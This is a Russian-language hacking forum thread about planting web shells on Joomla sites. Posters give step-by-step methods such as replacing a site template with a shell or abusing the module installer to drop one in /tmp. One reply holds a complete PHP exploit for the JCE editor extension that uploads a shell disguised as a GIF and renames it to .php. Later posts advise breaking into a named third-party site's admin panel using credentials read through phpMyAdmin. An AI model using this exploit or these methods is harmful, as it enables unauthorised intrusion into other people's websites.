Заливка шелла в Joomla

Discussion in 'Веб-уязвимости' started by AkyHa_MaTaTa, 7 Dec 2007.

  1. gromrus

    gromrus New Member

    Joined:
    15 Aug 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0

    Машина расскажи тут про темплы
     
  2. sssr1

    sssr1 New Member

    Joined:
    8 Dec 2011
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0
    что делать если в темплейтах запрет на запись?
     
  3. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    https://rdot.org/forum/showpost.php?p=645&postcount=2
    https://rdot.org/forum/showpost.php?p=2524&postcount=6
    https://rdot.org/forum/showpost.php?p=7536&postcount=12
     
    _________________________
  4. sssr1

    sssr1 New Member

    Joined:
    8 Dec 2011
    Messages:
    19
    Likes Received:
    2
    Reputations:
    0

    Спасибо - реально абстрактные способы

    что делать если шаблон не на запись,

    при зугрузке в медиа пишет Некорректное изображение, разрешения добавил,
     
    #44 sssr1, 10 Feb 2012
    Last edited: 10 Feb 2012
  5. Machine

    Machine Elder - Старейшина

    Joined:
    23 Jun 2008
    Messages:
    403
    Likes Received:
    116
    Reputations:
    117
    Все просто. Если стандартный аплоад не работает, берем шаблоны. Templates -> site (админские лучше не трогать), выбираем любой (их бывает разное кол-во), в основном там есть всякие beez, milkway и тд. Открываем, если writable то нажимаем edit html, далее делаем подмену шаблона на шелл, запоминаем ссылку на шаблон, переходим по адресу шаблона, получаем шелл - профит. Позже заливаем шелл в другое место, а шаблон (оригинал) возвращаем на место.
     
  6. Machine

    Machine Elder - Старейшина

    Joined:
    23 Jun 2008
    Messages:
    403
    Likes Received:
    116
    Reputations:
    117
    1. Если стандартный аплоад (в /tmp) не пашет, то и это с вероятностью 99% также выключен.

    2. Если руки кривые, то при установке модуля можно удачно похоронить админку, т.к. при клике на любую ссылку в админке, будет вылетать шелл, плюс шелл невозможно удалить будет. Аккуратнее с этим методом, если делаете его первый раз.

    3. Этот вариант один из самых рабочих. Необращаем внимание на Unknown Archive Type, прост опереходим в /tmp/view.php, как при мануал инсталле, так и при загрузке со стороннего ресурса.
     
  7. alextret

    alextret New Member

    Joined:
    13 Jan 2012
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    А если права Editor или Publisher можно как нибудь шелл залить?
     
  8. kritoto

    kritoto New Member

    Joined:
    10 Apr 2012
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Перезалей плиз файлик, или у кого осталось перезалейте господа! Спасибо!
     
  9. sonic

    sonic Member

    Joined:
    20 Jun 2010
    Messages:
    305
    Likes Received:
    8
    Reputations:
    0

    сделал как написано, шелл загрузил но при переходе на него вот такое:

    что делать?
     
  10. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    попробуй воспользоваться вот этим сплоитом:
    PHP:
    <?php
    ######################################### www.bugreport.ir ########################################
    #
    #                     AmnPardaz Security Research & Penetration Testing Group
    #
    #
    # Title:                  Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version
    # Vendor:                 http://www.joomlacontenteditor.net
    # Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)
    # Exploitation:           Remote with browser
    # Original Advisory:      http://www.bugreport.ir/index_78.htm
    # Vendor supplied patch:  http://www.joomlacontenteditor.net/news/item/jce-2011-released
    # CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5        
    # Coded By:               Mostafa Azizi
    ###################################################################################################

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout"2);
    ob_implicit_flush (1);

    echo
    '<html>
    <head>
    <title>JCE Joomla Extension Remote File Upload</title>
    </head>

    <body bgcolor="#00000">

    <p align="center"><font size="4" color="#00ff00">JCE Joomla Extension Remote File Upload</font></p>
    </font>
    <table width="90%">
      <tbody>
        <tr>
          <td width="43%" align="left">
            <form name="form1" action="'
    .$SERVER[PHP_SELF].'" enctype="multipart/form-data"  method="post">
              <p></font><font color="#00ff00" > hostname (ex:www.sitename.com):    </font><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
              <p></font><font color="#00ff00" > path (ex: /joomla/ or just / ):            </font><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</span></p>
              <p></font><font color="#00ff00" >Please specify a file to upload:           </font><input type="file" name="datafile" size="40"><font color="#FF0000"> * </font>
              <p><font color="#00ff00" >  specify a port (default is 80):             </font><input name="port" size="20"><span class="Stile5"></span></p>
              <p><font color="#00ff00" >  Proxy (ip:port):                                 </font><input name="proxy" size="20"><span class="Stile5"></span></p>
              <p align="center"> <span class="Stile5"><font color="#FF0000">* </font><font color="white" >fields are required</font></font></span></p>
              <p><input type="submit" value="Start" name="Submit"></p>
            </form>
          </td>
        </tr>
      </tbody>
    </table>
    </body></html>'
    ;

    function 
    sendpacket($packet,$response 0,$output 0,$s=0)
    {
        
    $proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
        global 
    $proxy$host$port$html$user$pass;
        if (
    $proxy == '')
        {
            
    $ock fsockopen($host,$port);
            
    stream_set_timeout($ock5);
            if (!
    $ock)
            {
                echo 
    '<font color=white> No response from '.htmlentities($host).' ...<br></font>';
                die;
            }
        } else
        {
            
    $parts explode(':',$proxy);
            echo 
    '<font color=white>Connecting to proxy: '.$parts[0].':'.$parts[1].' ...<br><br/></font>';
            
    $ock   fsockopen($parts[0],$parts[1]);
            
    stream_set_timeout($ock5);
            if (!
    $ock
            {
                echo 
    '<font color=white>No response from proxy...<br></font>';
                die;
            }
        }

            
    fputs($ock,$packet);
            if (
    $response == 1)
            {
                if (
    $proxy == '')
                {
                    
    $html '';
                    while (!
    feof($ock))
                    {
                        
    $html .= fgets($ock);
                    }
                } else
                {
                    
    $html '';
                    while ((!
    feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
                    {
                        
    $html .= fread($ock,1);
                    }
                }
            } else 
    $html '';

            
    fclose($ock);
            if (
    $response == && $output == 1) echo nl2br(htmlentities($html));
            if (
    $s==1){
            
    $count=0;
            
    $res=nl2br(htmlentities($html));
            
    $str = array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');
            foreach (
    $str as $value){
            
    $pos strpos($res$value);
            if (
    $pos === false) {
            
    $count=$count++;
            } else {
            echo 
    "<font color=white>Target patched.<br/><br/></font>";
            die();
            }
            }
            if (
    $count=10) echo '<font color=white>Target is exploitable.<br/><br/></font>';
            }
    }

      
    $host   $_POST['host'];
      
    $path   $_POST['path'];
      
    $port   $_POST['port']; 
      
    $proxy   $_POST['proxy']; 
        
    if (isset(
    $_POST['Submit']) && $host != '' && $path != '')
    {
      
      
    $port=intval(trim($port));
      if (
    $port=='') {$port=80;}
      if ((
    $path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('<font color=white>Error... check the path!</font>');}
      if (
    $proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
      
    $host=str_replace("\r\n","",$host);
      
    $path=str_replace("\r\n","",$path);
      

                                                      
    /* Packet 1 --> Checking Exploitability */
                
    $packet  "GET ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
                
    $packet .= "Host: ".$host."\r\n";
                
    $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
                
                
    sendpacket($packet,1,0,1);
     
                                            
    /* Packet 2 --> Uploading shell as a gif file */
                                             
                
    $content "GIF89a1\n";
                
    $content .= file_get_contents($_FILES['datafile']['tmp_name']);
                
    $data    "-----------------------------41184676334\r\n";
                
    $data   .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";
                
    $data   .= "/\r\n";
                
    $data   .= "-----------------------------41184676334\r\n";
                
    $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n";
                
    $data   .= "Content-Type: application/octet-stream\r\n\r\n\r\n";
                
    $data   .= "-----------------------------41184676334\r\n";
                
    $data   .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n";
                
    $data   .= "0\r\n";
                
    $data   .= "-----------------------------41184676334\r\n";
                
    $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n";
                
    $data   .= "Content-Type: image/gif\r\n\r\n";
                
    $data   .= "$content\r\n";
                
    $data   .= "-----------------------------41184676334\r\n";
                
    $data   .= "0day\r\n";
                
    $data   .= "-----------------------------41184676334\r\n";
                
    $data   .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
                
    $data   .= "upload\r\n";
                
    $data   .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";
                
    $packet  "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n";
                
    $packet .= "Host: ".$host."\r\n";
                
    $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";
                
    $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
                
    $packet .= "Accept-Language: en-us,en;q=0.5\r\n";
                
    $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
                
    $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n";
                
    $packet .= "Connection: Close\r\n";
                
    $packet .= "Proxy-Connection: close\r\n";
                
    $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";
                
    $packet .= $data;
                
                
    sendpacket($packet,0,0,0);
                
                                              
    /* Packet 3 --> Change Extension from .gif to .php */
                                            
                                            
                
    $packet  "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
                
    $packet .= "Host: ".$host."\r\n";
                
    $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
                
    $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
                
    $packet .= "Accept-Language: en-US,en;q=0.8\r\n";
                
    $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
                
    $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
                
    $packet .= "Accept-Encoding: deflate\n";
                
    $packet .= "X-Request: JSON\r\n";
                
    $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
                
    $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
                
    $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
                
    $packet .= $ren."\r\n\r\n";
                
                
    sendpacket($packet,1,0,0);

                                              
    /* Packet 4 --> Check for successfully uploaded */
                                            
                                            
                
    $packet  "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";
                
    $packet .= "Host: ".$host."\r\n";
                
    $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";
                
                
    sendpacket($packet,1,0,0);
      
      if(
    stristr($html '200 OK') != true)
      {echo 
    "<font color=white>Exploit Faild...</font>";} else echo "<font color=white>Exploit Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";
    }
    ?>



     
    exploit использует недочет в редакторе JCE в результате чего мы можем залить шелл... подробности читайте в багдтреках!

    Значит что то сделали не так!, как вариант еще можно через шаблоны! заходите в редактор шаблонов и встовляите свой пхп код с мини шеллом или загрузчиком, а потом вызываите его или как там у вас смекалка сооброзит... еще вариант, заходите в установку модулей и там есть форма загрузки, выбираите у себя на компе шелл загружаите... вам админка выдаст ошибку, что типо не смог установить, но как таковой сам шелл загрузится в папку tmp вот туда и оброщаемся по названию шелла!
     
    _________________________
    #50 winstrool, 23 Mar 2013
    Last edited: 23 Mar 2013
  11. sonic

    sonic Member

    Joined:
    20 Jun 2010
    Messages:
    305
    Likes Received:
    8
    Reputations:
    0

    ошибку выдало шелла не нашёл. как править шаблон не нашёл.

    я в этом деле новичёк :rolleyes:
     
  12. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Подскажите в чём может быть проблема сайт на joomla,пытаюсь зайти в адмику xxx.ru/administrator редиректит на главную страницу,был уверен что админка по этому пути и ещё проверил этим способом.
    http://y-shahinzadeh.ir/af/check.php?id=149&url=http://www.xxx.ru/&str=http://www.xxx.ru/administrator/,http://www.xxx.ru/administrator/,http://www.xxx.ru/administrator/index.php

    Подскажите Как залесть в админку?)Досnуп есть к phpmyadmin.
     
    #52 Sat-hacker, 24 Mar 2013
    Last edited: 25 Mar 2013
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Значит изучайте разделы по джумле болие детальнее и пробуйте методом проб и ошибок, если вы не понимаите элементарных вещей то врятли вы для себя откроите кнопку "залить шелл"
     
    _________________________
  14. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Помогите в заливке шела в Joomla через phpmyadmin.
     
  15. [Ультра]

    Joined:
    8 Feb 2013
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Ни кто просто так ни чего делать не станет - это для ясности. Готовьте тугрики в $ и в раздел "Предложения работы, услуг"
     
  16. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    при чём тут одно к другому, через phpmyadmin смотри пароль, заходи в админку и заливай = профит
     
    1 person likes this.
  17. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    qaz читай мой пост выше #52
     
  18. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    никак не залесть, переадресация идёт через htaccess
     
  19. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    qaz админ при входе в админку что каждый раз .htaccess правит?)
     
  20. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    нет он свой ip в .htaccess прописал и входит без проблем